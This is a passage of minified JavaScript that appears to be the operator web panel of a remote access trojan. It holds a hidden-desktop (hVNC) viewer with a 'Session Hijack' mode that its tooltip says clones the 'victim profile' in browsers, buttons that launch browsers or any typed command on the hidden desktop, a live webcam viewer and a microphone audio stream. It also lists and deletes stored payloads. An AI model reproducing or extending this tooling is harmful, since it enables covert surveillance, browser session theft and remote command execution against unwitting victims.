24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),le===H.payload_id?a.jsxs("div",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>ve(H.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),a.jsx("button",{onClick:()=>we(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):a.jsx("button",{onClick:()=>we(H.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},H.payload_id)})})]}),a.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ir({label:e,children:t}){return a.jsxs("div",{children:[a.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const jV=[{label:"Explorer",cmd:"explorer.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("circle",{cx:"12",cy:"12",r:"10"}),a.jsx("circle",{cx:"12",cy:"12",r:"4"}),a.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),a.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),a.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function NV(){const{id:e}=il(),[t]=Cx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=m.useRef(null),s=m.useRef(null),o=m.useRef(null),l=m.useRef(null),c=m.useRef(null),u=m.useRef({x:-1,y:-1}),d=m.useRef(null),f=m.useRef(0),[p,h]=m.useState(!0),[x,g]=m.useState(!0),[y,v]=m.useState(!1),[b,w]=m.useState(60),[j,N]=m.useState(20),[k,z]=m.useState(0),[S,O]=m.useState({w:0,h:0}),[,A]=m.useState(""),[T,P]=m.useState(null),[D,G]=m.useState(!1),[R,K]=m.useState(!1),_=m.useRef(!1),[M,F]=m.useState({w:0,h:0});m.useEffect(()=>{const W=l.current;if(!W)return;const Q=new ResizeObserver(he=>{const E=he[0];E&&F({w:E.contentRect.width,h:E.contentRect.height})});return Q.observe(W),()=>Q.disconnect()},[]);const U=m.useMemo(()=>{if(S.w<=0||S.h<=0||M.w<=0||M.h<=0)return null;const W=Math.min(M.w/S.w,M.h/S.h);return{width:Math.floor(S.w*W),height:Math.floor(S.h*W)}},[S,M]),V=m.useRef({x:0,y:0,w:0,h:0}),Z=m.useRef(null),ae=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;Z.current||(Z.current=he.getContext("2d"));const E=Z.current;if(!E)return;const ce=V.current;if(ce.w>0&&E.clearRect(ce.x,ce.y,ce.w,ce.h),W<0||Q<0){V.current={x:0,y:0,w:0,h:0};return}V.current={x:W-1,y:Q-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(W,Q),E.lineTo(W,Q+18),E.lineTo(W+5,Q+14),E.lineTo(W+9,Q+21),E.lineTo(W+12,Q+20),E.lineTo(W+8,Q+13),E.lineTo(W+13,Q+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=m.useCallback((W,Q)=>{const he=s.current;if(!he)return;const E=he.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(W,Q,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{ae(u.current.x,u.current.y)},150))},[ae]),be=m.useCallback((W,Q,he,E,ce)=>{_.current||(_.current=!0,K(!0)),O({w:Q,h:he});const J=i.current;if(!J)return;const xe=J.getContext("2d");if(!xe)return;(J.width!==Q||J.height!==he)&&(J.width=Q,J.height=he);const ke=s.current;if(ke&&(ke.width!==Q||ke.height!==he)&&(ke.width=Q,ke.height=he,Z.current=null),typeof W=="string"){const ze=c.current||new Image;c.current=ze,ze.onload=()=>{xe.drawImage(ze,0,0)},ze.src=W}else W instanceof ImageBitmap?(xe.drawImage(W,0,0),W.close()):xe.drawImage(W,0,0)},[r]),ye=m.useCallback(()=>{},[]),{isConnected:q,stats:te,controls:C,connect:Y,disconnect:ne}=kv({agentId:e||"",mode:n,onFrame:be,onDisconnect:ye});m.useEffect(()=>{e&&Y()},[e,Y]);const B=m.useCallback(W=>{const Q=s.current,he=i.current;if(!Q||!he||S.w===0)return{x:0,y:0};const E=Q.getBoundingClientRect(),ce=he.width/E.width,J=he.height/E.height;return{x:Math.min(Math.max(Math.round((W.clientX-E.left)*ce),0),he.width-1),y:Math.min(Math.max(Math.round((W.clientY-E.top)*J),0),he.height-1)}},[S]),le=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);u.current={x:Q,y:he};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Q,he)),ae(Q,he)},[p,y,B,C,ae]),we=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,1,Q,he),ue(Q,he)},[p,y,B,C,ue]),Ne=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W);C.sendMouseButton(W.button,0,Q,he)},[p,y,B,C]),Ae=m.useCallback(W=>{if(!p||y)return;const{x:Q,y:he}=B(W),E=W.deltaY>0?-120:120;C.sendMouseScroll(E,Q,he)},[p,y,B,C]);m.useEffect(()=>{if(!x||y)return;const W=(E,ce)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(ce,J,0)},Q=E=>W(E,1),he=E=>W(E,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",he,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",he,!0)}},[x,y,C]),m.useEffect(()=>{C.setViewOnly(y)},[y,C]);const $=m.useCallback(W=>{w(W),C.setQuality(W)},[C]),fe=m.useCallback(async()=>{try{const W=await navigator.clipboard.readText();W&&C.sendClipboard(W)}catch{}},[C]),ve=m.useCallback(()=>{var W,Q;(Q=(W=o.current)==null?void 0:W.requestFullscreen)==null||Q.call(W)},[]),H=m.useCallback(async()=>{if(ne(),e)try{r?await l6(e):await o6(e)}catch{}window.close()},[e,ne,r]),se=m.useCallback(async W=>{if(!(!e||!W.trim())){P(null);try{await c6(e,W.trim(),D),P(`Launched ${W.trim()}${D?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,D]);return a.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&a.jsxs(a.Fragment,{children:[a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),a.jsx("div",{className:"flex-1"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:p?"#06B6D4":"#27272A"},title:"Mouse"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&a.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),a.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[q&&a.jsxs("div",{className:"relative",style:{width:U?U.width:void 0,height:U?U.height:void 0,display:R?"block":"none"},children:[a.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),a.jsx("canvas",{ref:s,onMouseMove:le,onMouseDown:we,onMouseUp:Ne,onWheel:Ae,onContextMenu:W=>W.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:p&&!y?"none":"default"}})]}),(!q||!R)&&a.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:a.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:q?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),a.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(W=>a.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${W*.3}s`}},W))})]})]})})]}),a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:q?"#22C55E":"#EF4444",boxShadow:q?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:q?"LIVE":"OFFLINE"})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),a.jsx(Zs,{}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:W=>$(Number(W.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:W=>{const Q=Number(W.target.value);N(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),a.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:a.jsxs("select",{value:k,onChange:W=>{const Q=Number(W.target.value);z(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[a.jsx("option",{value:0,children:"Auto"}),a.jsx("option",{value:1,children:"DXGI"}),a.jsx("option",{value:2,children:"GDI"})]})}),a.jsx(Zs,{}),a.jsx(Tm,{label:"MOUSE",active:p,onClick:()=>h(!p),icon:a.jsx(kV,{})}),a.jsx(Tm,{label:"KEYS",active:x,onClick:()=>g(!x),icon:a.jsx(zV,{})}),a.jsx(Tm,{label:"VIEW",active:y,onClick:()=>v(!y),icon:a.jsx(SV,{})}),a.jsx(Zs,{}),a.jsx(Gb,{onClick:fe,title:"Sync clipboard",children:a.jsx(CV,{})}),a.jsx(Gb,{onClick:ve,title:"Fullscreen",children:a.jsx(PV,{})}),r&&a.jsxs(a.Fragment,{children:[a.jsx(Zs,{}),a.jsxs("button",{onClick:()=>G(W=>!W),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:D?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:D?"#22D3EE":"#52525B",background:D?"rgba(6, 182, 212, 0.12)":"transparent",border:D?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),jV.map(W=>a.jsxs("button",{onClick:()=>se(W.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${W.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[W.icon,a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:W.label})]},W.cmd)),a.jsxs("button",{onClick:()=>{const W=prompt("Command to launch on hidden desktop:");W&&se(W)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:W=>{W.currentTarget.style.color="#A1A1AA",W.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:W=>{W.currentTarget.style.color="#52525B",W.currentTarget.style.background="transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:S.w>0?`${S.w}×${S.h}`:"—"}),a.jsxs("button",{onClick:H,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.12)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:W=>{W.currentTarget.style.background="rgba(239, 68, 68, 0.06)",W.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[a.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Zs(){return a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function Tm({label:e,active:t,onClick:n,icon:r}){return a.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function Gb({onClick:e,title:t,children:n}){return a.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function kV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function zV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function SV(){return a.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function CV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function PV(){return a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function EV(){const{id:e}=il(),t=m.useRef(null),n=m.useRef(null),r=m.useRef(null),[i,s]=m.useState(!1),o=m.useRef(!1),[l,c]=m.useState({w:0,h:0}),u=m.useCallback((g,y,v)=>{o.current||(o.current=!0,s(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:p,disconnect:h}=kv({agentId:e||"",mode:"webcam",onFrame:u});m.useEffect(()=>{e&&p()},[e,p]),m.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=m.useCallback(async()=>{if(h(),e)try{await u6(e)}catch{}window.close()},[e,h]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),a.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),a.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&a.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&a.jsxs("div",{className:"flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function _V({agentId:e,onDisconnect:t}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0),[s,o]=m.useState(!1),[l,c]=m.useState(!1),u=m.useRef(!1),[d,f]=m.useState({chunkCount:0,sampleRate:0}),p=m.useCallback(()=>{if(n.current)return;const g=st();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{b.send(JSON.stringify({type:"auth",token:g})),o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const N=j.getUint16(0,!0),k=j.getUint8(2),z=j.getUint8(3),S=12,O=w.data.byteLength-S;if(f(K=>({chunkCount:K.chunkCount+1,sampleRate:N})),u.current)return;const A=r.current;if(!A||A.state==="closed")return;A.state==="suspended"&&A.resume();const T=O/(k/8)/z,P=A.createBuffer(z,T,N),D=new DataView(w.data,S);for(let K=0;K<z;K++){const _=P.getChannelData(K);for(let M=0;M<T;M++){const F=M*z+K,U=D.getInt16(F*2,!0);_[M]=U/32768}}const G=A.createBufferSource();G.buffer=P,G.connect(A.destination);const R=A.currentTime;i.current<=R&&(i.current=R+.01),G.start(i.current),i.current+=P.duration},b.onclose=()=>{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=m.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=m.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return m.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:s,isMuted:l,stats:d,connect:p,disconnect:h,toggleMute:x}}function AV(){const{id:e}=il(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:s,toggleMute:o}=_V({agentId:e||""});m.useEffect(()=>{e&&i()},[e,i]);const l=m.useCallback(async()=>{if(s(),e)try{await d6(e)}catch{}window.close()},[e,s]);return a.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px 